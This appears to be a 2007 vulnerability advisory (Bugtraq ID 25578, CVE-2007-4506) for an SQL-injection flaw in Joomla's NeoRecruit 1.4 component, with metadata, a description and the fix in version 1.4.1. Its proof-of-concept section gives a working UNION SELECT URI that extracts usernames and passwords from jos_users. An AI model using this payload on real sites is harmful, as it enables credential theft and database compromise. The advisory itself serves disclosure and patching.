Joomla NeoRecruit Component SQL Injection Vulnerability

BID:25578

Info

Joomla NeoRecruit Component SQL Injection Vulnerability

Bugtraq ID: 25578
Class: Input Validation Error
CVE: CVE-2007-4506
Remote: Yes
Local: No
Published: Sep 06 2007 12:00AM
Updated: May 07 2015 05:35PM
Credit: ajann is credited with the discovery of this vulnerability.
Vulnerable: NeoJoomla NeoRecruit 1.4
Not Vulnerable: NeoJoomla NeoRecruit 1.4.1

Discussion

Joomla NeoRecruit Component SQL Injection Vulnerability

NeoRecruit is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


NeoRecruit 1.4 and earlier versions are vulnerable.

Exploit / POC

Joomla NeoRecruit Component SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/[path]//index.php?option=com_neorecruit&task=offer_view&id=[SQL Inject]

http://www.example.com/index.php?option=com_neorecruit&task=offer_view&id=99999999999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),3,4,5,6,7,8,111,222,333,444,0,0,0,555,666,777,888,1,2,3,4,5,0%20from%20jos_users/*

Solution / Fix

Joomla NeoRecruit Component SQL Injection Vulnerability

Solution:
The vendor has released NeoRecruit 1.4.1 to address this issue. Contact the vendor for details on obtaining and applying the appropriate updates.

References

Joomla NeoRecruit Component SQL Injection Vulnerability

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